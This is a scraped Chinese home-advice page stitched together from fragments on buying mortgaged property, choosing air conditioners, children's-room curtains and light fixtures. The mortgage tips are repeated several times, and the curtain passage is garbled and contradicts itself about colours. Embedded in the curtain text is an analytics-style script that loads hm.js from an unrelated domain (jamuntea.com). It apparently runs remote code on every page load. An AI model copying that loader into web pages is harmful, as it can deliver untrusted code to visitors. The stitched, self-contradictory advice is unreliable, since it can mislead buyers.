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席宏壮

抵押房购买有什么要注意的?

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海纳装饰 有用 1

1、建议消费者选择大中介公司进行交易,大中介公司对购房流程熟悉,风险把控能力强,一般都会对流程进行监控,在买方出款前会做好司法冻结及抵押情况的调查。出现纠纷亦会作为公证的第三人保护守约方的权益;
2、大中介公司一般都有合作的担保公司,遇到卖方提前收款或需要解押的情况,可以求助于担保公司,先支付部分担保费用,将风险转嫁至担保公司,由担保公司全权调查并出款,规避客户风险;
3、若买方已经支付完房款后,过户期间房屋被冻结,买方应该积极起诉,提交原始合同及房款支付凭证,请求法院支持正常取得房产。

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购房者可以就尚未建成的住房进行预告登记,以制约开发商把已出售的住房再次出售或者进行抵押。)根据《房屋登记办法》规定第六十七条有下列情形之一的,当事人可以申请预告登记:
(一)预购商品房;
(二)以预购商品房设定抵押;
(三)房屋所有权转让、抵押;
(四)法律、法规规定的其他情形。
第七十条申请预购商品房预搜索告登记,应当提交下列材料:
(一)登记申请书;
(二)申请人的身份证明;
(三)已登记备案的商品房预售合同;
(四)当事人关于预告登记的约定;
(五)其他必要材料。

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购买抵押房需要注意什么事项?现在很多开发商因为资金链紧张,往往选择将土地及土地上的在建商品房抵押给银行,甚至将销售后的房子仍然作为在建工程抵押给银行,以获取货款,周转资金。如果开发商发生资金困难不能及时归还货款的话,那么银行就不能将房屋解除抵押,结果将导致消费者无法办理房屋备案和房产证明。根据我国《担保法》的规定,已经抵押的房屋还是可以进行买卖的,但需注意要满足两个条件。一是通知抵押权人并经其同意;二是如实告知买受人。如果开发商未通知银行或者未告知购房者,该转让行为无效。购买抵押房注意事项:
1、建议消费者选择大中介公司进行交易,大中介公司对购房流程熟悉,风险把控能力强,一般都会对流程进行监控,在买方出款前会做好司法冻结及抵押情况的调查。出现纠纷亦会作为公证的第三人保护守约方的权益;
2、大中介公司一般都有合作的担保公司,遇到卖方提前收款或需要解押的情况,可以求助于担保公司,先支付部分担保费用,将风险转嫁至担保公司,由担保公司全权调查并出款,规避客户风险;
3、若买方已经支付完房款后,过户期间房屋被冻结,买方应该积极起诉,提交原始合同及房款支付凭证,请求法院支持正常取得房产

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现在很多开发商因为资金链紧张,往往选择将土地及土地上的在建商品房抵押给银行,甚至将销售后的房子仍然作为在建工程抵押给银行,以获取货款,周转资金。如果开发商发生资金困难不能及时归还货款的话,那么银行就不能将房屋解除抵押,结果将导致消费者无法办理房屋备案和房产证明。根据我国《担保法》的规定,已经抵押的房屋还是可以进行买卖的,但需注意要满足两个条件。一是通知抵押权人并经其同意;二是如实告知买受人。如果开发商未通知银行或者未告知购房者,该转让行为无效。购买抵押房注意事项:
1、建议消费者选择大中介公司进行交易,大中介公司对购房流程熟悉,风险把控能力强,一般都会对流程进行监控,在买方出款前会做好司法冻结及抵押情况的调查。出现纠纷亦会作为公证的第三人保护守约方的权益;
2、大中介公司一般都有合作的担保公司,遇到卖方提前收款或需要解押的情况,可以求助于担保公司,先支付部分担保费用,将风险转嫁至担保公司,由担保公司全权调查并出款,规避客户风险;
3、若买方已经支付完房款后,过户期间房屋被冻结,买方应该积极起诉,提交原始合同及房款支付凭证,请求法院支持正常取得房产。

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专题 买空调要注意什么

买空调要注意什么?最完整的购买指南

每当炎热夏季到来的时候,空调就成为了我们必备的一个设备了。空调能够为我们创造出更加好生活环境。让我们能够更加安心的学习或者是工作。现在空调市场上的品牌也是比较的多的,对于人们来说挑选空调就变得更加的困难了。下面介绍一下买空调要注意什么。买空调要注意什么1.通常情况下,空调一般都是用来制冷的,所以说在购买空调的时候就要看看制冷的效果究竟怎么样。不同的地域和家庭都是有差异的,我们在购买空调的时候应该注意空调的尺寸,如果是有足够的空间的话,那么我们就可以购买尺寸大一点的空调。2.空调种类不一样的话,它的节能效果也是不一样的,一般来说,空调的能效比是用制冷量来除以制冷功率来算的。通过公式我们可以算出空调的能效比。也就能够算出哪一款空调会更加的节能和省电。3.楼层也是我们在购买空调的时候需要考虑到的一个因素,一般来说,如果是住的楼层比较的高的话,那么我们就需要购买匹数大一点的空调。4.房间的布局也是会影响到空调的购买的,如果是需要安装空调的房间是太阳能够直射到的话,那么就应该选择孔比较大的空调,这样在安装的时候才能更加的快捷。5.我们在购买空调的时候也是需要看指标的。空调一般都是有三个指标的:制冷量、能效比和噪音。这三个指标是有很大的作用的。制冷量是越大越好,能效比的数值越大,耗电量就会更加小,使用起来也就更加的省电。噪音的话主要是看会不会影响到顾客的休息。一般来说,空调的噪音是越小越好。6.购买的空调我们还需要关注上面的认证标志。现在空调上面一般都是应该具有两个标志的,一个是3C标志,这个是国家认证的,也是质量的保证。还有一个就是能效标志。等级高的能效比会比较的高,也就会更加的节能。以上就是选购空调需要注意的项,大家在选择空调的时候是需要好好的阅读一下的。为了能够有一个更好的生活环境,人们都会选择购买一个空调。但是小编想提醒大家的是,不能长时间的呆在空调房里面哦。这样是会更加容易的患空调病的哦。选购空调产品欢迎前往土巴兔家居商城

家长在购买儿童房窗帘的时候要注意什么

家长在购买儿童房窗帘的时候要注意什么

儿童是父母的希望,儿童的成长也是家庭中最关心的问题。一旦孩子长大,父母将为孩子建立一个特殊的房间,当孩子很小时,可以起到很好的指导作用。在选择儿童房窗帘时应注意什么?儿童房窗帘在厚度方面不同于客厅的窗帘,因为儿童在婴儿和幼儿期间对光线敏感,以免刺激儿童的眼睛。孩子们尽量避免眩光。因此,在选择儿童房窗帘时,必须发挥窗帘的作用,使儿童房的窗帘厚度减少。儿童房窗帘的颜色也是一定要求。儿童房的窗帘颜色不宜太亮,否则会刺激小孩。因此,儿童房窗帘的颜色应清晰,如浅蓝色和浅绿色。纯色儿童房的窗帘应使用浅色,尽量使用均匀的纯色,以避免影响儿童情绪的复杂图案和复杂色彩。儿童房窗帘的特点,儿童房窗帘布的主题设计,纹理图案将朝向卡通动画的类型,给孩子一个更大的亲和力和安全性设计师将根据当时流行动漫的主题元素进行设计,以满足市场的需求。儿童房的主题主要是浅色调,配色方案相对简单。因为颜色太亮而且引人注目,对孩子的视觉影响太大,情绪容易刺激,不适合他们睡觉。儿童房窗帘的选择,儿童的免疫力较弱,儿童从3岁起就有完全的活动能力,如果房间的儿童房窗帘经常洗不洗,儿童它们易受细菌感染。为了孩子的健康考虑,生动可爱的自然,明亮清新,富有想象力的几何抽象图案更适合。这种模式可以从孩子的喜好开始,或者你可以选择月亮和月球模式来帮助他入睡并给宝宝一个神秘而顺畅的睡眠。购买儿童房窗帘,在材料上通常可分为棉,亚麻,纱布,缎,聚拢,竹子,人造丝等,其中棉花亚麻更常见两种材料,对于儿童的健康问题,儿童房窗帘可以选择棉,麻,两种易洗材料;保湿竹帘,为南方的霉菌生活环境,但要选择优质的窗帘,竹子否则孩子很容易被刺破的病变其次,在孩子们的房间买儿童的颜色在成长的过程中,儿童房窗帘是对环境的影响更敏感,孩子们的房间尽可能的窗帘选择一些色彩更明亮,让宝宝的小世界变得生气勃勃,您可以选择西洋和米老鼠等漫画。您还可以选择月亮和月亮图案,以帮助您的孩子入睡,让宝宝神秘而顺畅的睡眠。在儿童房窗帘上购买厚厚的窗帘会影响房间的照明。如果你想给它们良好的照明,可控制的室内光线空间,你可以选择结合厚薄的双层儿童房窗帘,日夜合理调整。室内灯在一方面,薄窗帘可以保持室内照明良好,而另一方面,来自外部的光可以被软化,薄窗帘可以使房间显得明亮白天,较厚的窗帘,不仅可以块轻便,还具有隔音和保持室内温度。等等,晚上使用厚窗帘给宝宝一个温暖宁静的环境。那么以上呢就是一些儿童房窗帘的购买技巧和注意事项了,大家可以自行参考,希望可以买到更好的窗帘。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

买灯具需要注意什么   购买灯具的原则

买灯具需要注意什么 购买灯具的原则

晚上天黑的时候必须要有灯光的照射,我们才能够看到东西,晚上的城市里各种颜色的灯光交织在一起,也能形成非常漂亮的风景。在装修时候灯具也是必买的装修材料,一个家庭里运用到的灯具也不少,客厅和厨房、卧室、卫浴间等运用的灯具应该要有所区分,不同场合运用到的灯具会不一样,它的类型也有很多。那么,买灯具需要注意什么?买灯具需要注意什么购买灯具时应首先查看灯具上的标记,如商标、型号、额定电压、额定功率等,判断其是否符合自己的使用要求。标示安全是灯具安全性能中的基本要求,其中额定功率尤为重要,如一个设计为40瓦的灯具,由于未标记额定功率,用户很可能装100瓦的灯泡,就有可能造成外壳变形,绝缘损坏,甚至造成触电,还有可能引起火灾。应注意防触电保护,灯具通电后,人要触摸不到带电部件,不会存在触电危险。如果买的是白炽灯具(例如吊灯、壁灯),将灯泡装上去在不通电情况下,如用小手指触摸不到带电部件,则防触电性能是基本符合的。就是说基本上人是触摸不到带电部位的,带电部位都应该是有东西遮挡到的.购买灯具的原则一、同房间的高度相适应:房间高度在3米以下时,不宜选用长吊杆的吊灯及垂度高的水晶灯,否则会的有安全。二、同房间的面积相适应:灯具的面积不要大于房间面积的2%-3%。如照明不足,可增加数量,否则会影响装饰效果。三、同整体的装饰风格相适应:中式、日式、欧式的灯具要与居室的装修风格协调统一,才能避免杂乱的感觉。四、同房间的功能环境相适应:如客厅应选择具有防火功能的灯具;卫生间、厨房应选择具有防潮、防水、耐擦洗等特殊功能的工具,以保证正常使用。五、同房间顶部的承载能力相适应:特别是做吊顶的顶部,必须有足够的承载能力,才能安装相适。买灯具需要注意什么?买灯具的时候是要留意很多方面的知识,比如消费者很喜欢的比价。但比价不是光看品牌或是产品的外观就可以了,它的设计、款式、功率等等等各方面因素都应该要比一比,才能更加全面的分清楚到底哪个灯具更加实惠些。目前很多人都会通过网络途径来买灯具,这虽然很好但网络无法看到它,容易买到货不对板产品大家要有所留意。

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